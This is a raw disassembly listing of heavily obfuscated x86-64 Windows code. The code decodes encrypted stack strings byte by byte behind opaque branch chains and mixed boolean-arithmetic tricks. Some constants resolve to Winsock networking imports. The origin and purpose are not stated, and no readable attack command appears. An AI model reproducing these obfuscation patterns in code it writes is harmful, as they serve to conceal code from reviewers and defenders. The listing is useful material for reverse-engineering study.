inc r11
jmp 0x140168523
lea ecx, [r11 + 0x11]
movzx eax, r10b
and al, cl
inc r9
add al, al
dec r11
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x77
inc r11
jmp 0x140168523
movzx ebx, r11b
movzx eax, r10b
lea edx, [rbx - 0x61]
and al, dl
sub dl, 0x59
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
add bl, 0x6f
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 9
add bl, r10b
mov byte [rsp + r11 + 0x30], bl
inc r9
dec r11
inc r11
jmp 0x140168523
lea ecx, [r11 - 0x29]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x1f
dec r11
inc r11
jmp 0x140168523
movzx ebx, r11b
movzx eax, r10b
lea edx, [rbx + 0x65]
and al, dl
add dl, 0x3d
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
sub bl, 0x1f
mov rcx, r15
movzx eax, bl
add r8, r9
and al, r10b
add al, al
sub bl, al
movzx eax, dl
sub bl, 0x27
sub rcx, rax
add bl, r10b
add bl, dl
mov byte [rsp + r11 + 0x30], bl
add r11, rcx
inc r11
jmp 0x140168523
lea ecx, [r11 - 0xd]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x5b
add r8, r9
movzx eax, dl
mov rcx, r15
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140168523
lea rcx, [r11 + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x2d
movzx eax, byte [rsp + r11 + 0x30]
add rax, r9
add r11, rax
inc r11
jmp 0x140168523
add r11b, 0x1d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x35
jmp 0x140168520
sub r11b, 0x55
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x53
jmp 0x140168510
lea rsi, [rbp + 0x14b9f7c]
jmp 0x140168f0d
lea rsi, [rbp + 0x967b35]
jmp 0x140168f0d
lea rsi, [rsp + 0x30]
movzx r11d, byte [rbp + 0x838]
xor eax, eax
mov qword [rsp + 0x4b], rax
movabs r14, 0x9449364a36ea4032
mov dword [rsp + 0x41], 0xf78bfe98
mov dword [rsp + 0x45], 0xf58ce7f5
mov word [rsp + 0x49], 0x65f1
nop dword [rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor edi, edi
cmp rdi, 0x12
jae 0x140169aa3
movzx ebx, byte [rsp + rdi + 0x41]
mov rdx, rbx
cmp r8, rdi
ja 0x140169a9a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140168f8e
lea r11, [rdi + r14]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
sub r11b, 0x5e
add r11b, dl
jmp 0x140168fc7
je 0x140169a25
inc rax
cmp r8, rax
je 0x1401699ca
lea rax, [r9 + 2]
cmp r8, rax
je 0x140169981
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016992c
lea rax, [r9 + 8]
cmp r8, rax
je 0x1401698e4
cmp r9, rdi
ja 0x140169a91
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x140168ff7
lea edx, [rdi + 0x1a]
mov ecx, 0x25
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140169040
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1401698c9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401698a5
lea rax, [rcx + 1]
cmp r8, rax
je 0x140169893
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016986a
lea rax, [r9 + 6]
cmp r8, rax
je 0x140169843
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1401695b8
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x140169596
lea rax, [r9 + 9]
cmp r8, rax
je 0x140169574
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140169550
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14016952d
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140169514
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1401694eb
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1401694cd
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1401694af
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140169488
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140169050
lea r8, [r9 + 5]
lea r9, [r8 + 1]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140169a76
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140169a56
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140169229
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140169210
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1401691f7
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140169434
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1401693e4
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1401693a4
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14016937e
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140169050
lea r8, [r9 + 4]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140169352
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140169334
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140169317
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1401692ee
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1401692d0
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1401692af
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140169290
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140169269
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140169247
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140169050
lea r8, [r9 + 3]
lea r9, [r8 + 9]
jmp 0x140169050
lea ecx, [rdi + 0x26]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xa
jmp 0x140169040
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4e
jmp 0x140168fc7
lea edx, [rdi + 0x5e]
mov ecx, reloc.WS2_32.dll_getservbyname
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140168f61
lea edx, [rdi - 0x30]
mov ecx, 0x28
movzx eax, bl
movzx r10d, dil
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140169902
lea edx, [rdi + 0x6c]
mov ecx, 6
movzx eax, bl
inc r9
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x140168f52
lea ecx, [rdi + 8]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x38
inc rdi
jmp 0x140168f52
lea edx, [rdi - 0x5c]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
movzx r10d, dil
sub r11b, al
sub r11b, 0x7c
add r11b, dl
jmp 0x14016994a
lea edx, [rdi + 0x40]
mov ecx, 0x20
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140169969
lea ecx, [rdi - 0x24]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
mov rcx, r15
sub r11b, 4
movzx eax, r11b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140168f52
lea edx, [rdi + 0x78]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x1401699a4
lea edx, [rdi + 0x14]
mov ecx, 0x3a
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401699ed
lea edx, [rdi - 0x50]
movzx eax, bl
and al, dl
mov ecx, 0x18
sub cl, al
movzx eax, byte [rsp + rdi + 0x41]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x140168f52
lea edx, [rdi - 0x4a]
mov ecx, 3
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rsp + rdi + 0x41], r11b
inc rdi
jmp 0x140168f52
lea ecx, [rdi + 0x52]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
cmp r9, 0x400
jb 0x140169397
mov ecx, 6
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x14]
and al, dl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140169902
lea edx, [rdi - 0x12]
mov ecx, 0x3f
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x1000
jae 0x140169801
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140169774
lea edx, [rdi + 4]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x1c
add r11b, dl
jmp 0x1401693b8
lea edx, [rdi - 0x76]
mov ecx, 0x1d
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x140169828
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x140169682
lea edx, [rdi - 0x16]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x66
add r11b, dl
jmp 0x1401693fd
lea ecx, [rdi - 0x64]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rsp + rdi + 0x41]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x44
inc rdi
jmp 0x140168f52
lea edx, [rdi + 0x38]
mov ecx, 0x3c
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401699ed
lea edx, [rdi - 0x2c]
mov ecx, 0x1a
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401699a4
lea ecx, [rdi + 0x70]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
mov rcx, r15
sub r11b, 0x10
movzx eax, r11b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140168f52
lea ecx, [rdi + 0xc]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x54
jmp 0x140169969
mov ecx, reloc.WS2_32.dll_gethostbyname
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x58]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14016994a
lea edx, [rdi + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x140168f52
lea ecx, [rdi - 0x20]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
inc rdi
jmp 0x140168f52
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x7c]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x64
add r11b, dl
jmp 0x140169902
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1401695da
lea ecx, [rdi + 0x32]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
jmp 0x14016944d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016960a
lea ecx, [rdi + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x41]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x6c
inc rdi
jmp 0x140168f52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140169631
lea edx, [rdi - 4]
mov ecx, ntohs
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401699a4
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140169653
lea ecx, [rdi - 0x3c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5c
jmp 0x140169969
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14016944d
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x54]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x4c
add r11b, dl
jmp 0x140169902
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401696ad
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x4e]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x22
add r11b, dl
jmp 0x140169902
inc rax
cmp r8, rax
jne 0x1401696dc
lea edx, [rdi - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, bl
inc r9
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x140168f52
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140169709
lea edx, [rdi + 0x16]
mov ecx, reloc.WS2_32.dll_gethostbyaddr
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x140168f52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140169740
lea edx, [rdi + 0x42]
mov ecx, 0x19
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
mov rcx, r15
add r11b, bl
add r11b, dl
movzx eax, r11b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140168f52
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1401693fd
lea ecx, [rdi + 0x6e]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rsp + rdi + 0x41]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 2
inc rdi
jmp 0x140168f52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401697a9
lea edx, [rdi + 0x68]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
movzx eax, byte [rsp + rdi + 0x41]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x140168f52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401697d1
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
inc rdi
jmp 0x140168f52
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401693b8
mov ecx, 0x24
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x78]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140169902
movzx r11d, byte [rsp + rdi + 0x41]
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x50]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x30
add r11b, bl
add r11b, dl
jmp 0x14016994a
lea edx, [rdi - 0x4c]
mov ecx, 0xa
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1401699a4
lea ecx, [rdi - 0x62]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x41]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x52
inc rdi
jmp 0x140168f52
lea ecx, [rdi + 0x72]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
mov rcx, r15
sub r11b, 0x1e
movzx eax, r11b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140168f52
movzx r10d, dil
mov ecx, 0x2d
lea edx, [r10 - 0x56]
jmp 0x140169939
lea edx, [rdi + 0x46]
mov ecx, reloc.WS2_32.dll_inet_addr
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x140168f52
movzx r10d, dil
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x72
jmp 0x140169902
mov ecx, 3
movzx r10d, dil
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r10b, 0x1e
movzx eax, bl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
mov byte [rsp + rdi + 0x41], cl
inc r9
dec rdi
inc rdi
jmp 0x140168f52
movzx r10d, dil
mov ecx, 0x1d
lea edx, [r10 - 0x76]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
sub r10b, 0x7e
movzx eax, bl
and al, r10b
mov ecx, 0x39
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, r10b
mov byte [rsp + rdi + 0x41], cl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140168f52
movzx ebx, dl
mov eax, reloc.WS2_32.dll_getservbyname
movabs rcx, 0xe007c078067c15e
add rcx, rdi
and dl, cl
sub al, dl
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
lea edx, [rdi - 0x1a]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x4a
add cl, dl
movzx eax, cl
mov byte [rsp + rdi + 0x41], al
add rax, r9
sub rdi, rax
jmp 0x1401699ed
movzx ebx, dl
mov eax, reloc.WS2_32.dll_setsockopt
movabs rcx, 0xe56e0f73129340fa
add rcx, rdi
and dl, cl
sub al, dl
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
lea edx, [rdi + 0x18]
movzx eax, bl
and al, dl
inc r8
mov ecx, 0x2c
sub cl, al
mov rax, r15
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rsp + rdi + 0x41], cl
add rdi, rax
movzx eax, byte [rsp + rdi + 0x41]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140168f52
movzx eax, dl
movabs rcx, 0xbcdba2dea4bec096
add rcx, rdi
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x1a
movzx eax, byte [rsp + rdi + 0x41]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140168f52
sub dil, 6
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x140168f50
sub dil, 0x6a
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x1a
jmp 0x140168f40
lea rbx, [rbp + 0x16320d9]
jmp 0x140169aa8
lea rbx, [rbp + 0x14d610b]
jmp 0x140169aa8
lea rbx, [rsp + 0x41]
mov rdx, rsi
lea rcx, [rbp + 0x270]
call fcn.14013a710
mov rdx, rbx
lea rcx, [rbp + 0x290]
call fcn.14013a710
lea rax, [rbp + 0x270]
mov qword [rbp + 0x50], rax
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x2b0]
lea rcx, [rbp + 0x300]
mov qword [rbp + 0x58], rax
call fcn.14016dc90
mov rdx, rax
lea rcx, [rbp + 0x310]
call fcn.1401608e0
mov edx, 0x40
lea r9, [0x140149880]
lea rcx, [rbp + 0x270]
lea r8d, [rdx - 0x3f]
call fcn.140136920
movzx r10d, byte [rbp + 0x838]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp - 0x33], rax
movups xmmword [rbp - 0x43], xmm0
mov dword [rbp - 0x2b], eax
movabs rsi, 0x2d5a2b861adc3b4a
mov word [rbp - 0x27], ax
movabs r14, 0x982b87b6f1be159a
mov byte [rbp - 0x25], al
mov dword [rbp - 0x54], 0x3f3a3d2d
mov dword [rbp - 0x50], 0x2b372621
mov dword [rbp - 0x4c], 0x6020263d
mov dword [rbp - 0x48], 0x2d2d2e26
mov byte [rbp - 0x44], 0x5c
nop word [rax + rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor edi, edi
cmp rdi, 0x30
jae 0x14016a7c0
movzx ebx, byte [rbp + rdi - 0x54]
mov rdx, rbx
cmp r8, rdi
ja 0x14016a7b7
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140169bc1
lea rcx, [rdi + rsi]
movzx eax, dl
and al, cl
movzx r10d, dl
add al, al
sub r10b, al
sub r10b, 6
add r10b, cl
jmp 0x140169c15
je 0x14016a747
lea rax, [r9 + 2]
cmp r8, rax
je 0x14016a6c8
lea rax, [rcx + 1]
cmp r8, rax
je 0x14016a69e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016a652
lea rax, [r9 + 4]
cmp r8, rax
je 0x14016a633
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016a611
lea rax, [r9 + 6]
cmp r8, rax
je 0x14016a5d2
cmp r9, rdi
ja 0x14016a7ae
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x140169c3f
lea r10d, [rdi + 0x12]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x7e
add r10b, bl
jmp 0x140169c80
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14016a5b2
lea rax, [r9 + 2]
cmp r8, rax
je 0x14016a58e
lea rax, [rcx + 1]
cmp r8, rax
je 0x14016a56b
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016a53d
lea rax, [r9 + 4]
cmp r8, rax
je 0x14016a51f
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14016a22c
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x14016a209
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14016a1e2
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14016a1be
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14016a19b
lea rax, [r9 + 9]
cmp r8, rax
je 0x14016a16a
lea rax, [r9 + 4]
cmp r8, rax
je 0x14016a13c
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14016a11e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016a100
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14016a0d4
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140169c90
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14016a793
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14016a778
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140169e77
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140169e5c
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140169e41
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14016a08d
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14016a047
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14016a00a
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140169fe9
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140169c90
lea r8, [r9 + 4]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140169fbd
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140169f9f
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140169f81
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140169f53
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140169f22
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140169f00
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140169edc
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140169eb5
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140169e92
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140169c90
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x7a]
jmp 0x140169c90
lea r10d, [rdi + 0x2e]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x42
add r10b, bl
jmp 0x140169c80
lea r10d, [rdi - 0x66]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x36
add r10b, bl
jmp 0x140169c15
lea r10d, [rdi + 6]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x2a
add r10b, bl
jmp 0x140169b91
lea ecx, [rdi - 0x70]
movzx eax, bl
and al, cl
mov r10d, 8
sub r10b, al
movzx r11d, dil
add r10b, r10b
add r10b, bl
add r10b, cl
jmp 0x14016a5eb
lea edx, [rdi - 4]
mov ecx, ntohs
movzx eax, bl
inc r9
and al, dl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x140169b82
lea edx, [rdi + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x140169b82
lea edx, [rdi - 0x2c]
mov ecx, 0x1a
movzx eax, bl
movzx r11d, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14016a66b
lea edx, [rdi + 0x40]
mov ecx, 0x20
movzx eax, bl
add r8, r9
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
mov rcx, r15
add r10b, bl
add r10b, dl
movzx eax, r10b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140169b82
lea edx, [rdi - 0x54]
mov ecx, 0x26
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
mov rcx, r15
add r10b, bl
add r10b, dl
movzx eax, r10b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140169b82
lea edx, [rdi + 0x18]
mov ecx, 0x2c
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14016a6ea
lea edx, [rdi - 0x7c]
mov ecx, gethostbyaddr
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14016a70f
lea edx, [rdi - 0x10]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
movzx eax, byte [rbp + rdi - 0x54]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x140169b82
lea ecx, [rdi + 0x7e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x72
mov byte [rbp + rdi - 0x54], r10b
inc rdi
jmp 0x140169b82
lea ecx, [rdi - 0x16]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x66
cmp r9, 0x10
jb 0x140169ffd
mov ecx, ntohs
movzx r11d, dil
movzx eax, bl
lea edx, [r11 + 0x7c]
and al, dl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14016a5eb
lea ecx, [rdi + 0x56]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5a
cmp r8, 8
jae 0x14016a4db
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14016a420
lea edx, [rdi - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14016a01e
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
lea rax, [r8 + r9]
cmp rax, 0x1000
je 0x14016a502
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14016a337
lea ecx, [rdi - 0x5e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6e
jmp 0x14016a05b
lea edx, [rdi + 0x6c]
mov ecx, 6
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x54]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x140169b82
lea edx, [rdi - 0x28]
mov ecx, reloc.WS2_32.dll_inet_ntoa
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14016a70f
lea edx, [rdi + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14016a6ea
lea edx, [rdi - 0x50]
mov ecx, 0x18
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
mov rcx, r15
add r10b, dl
add r10b, bl
movzx eax, r10b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140169b82
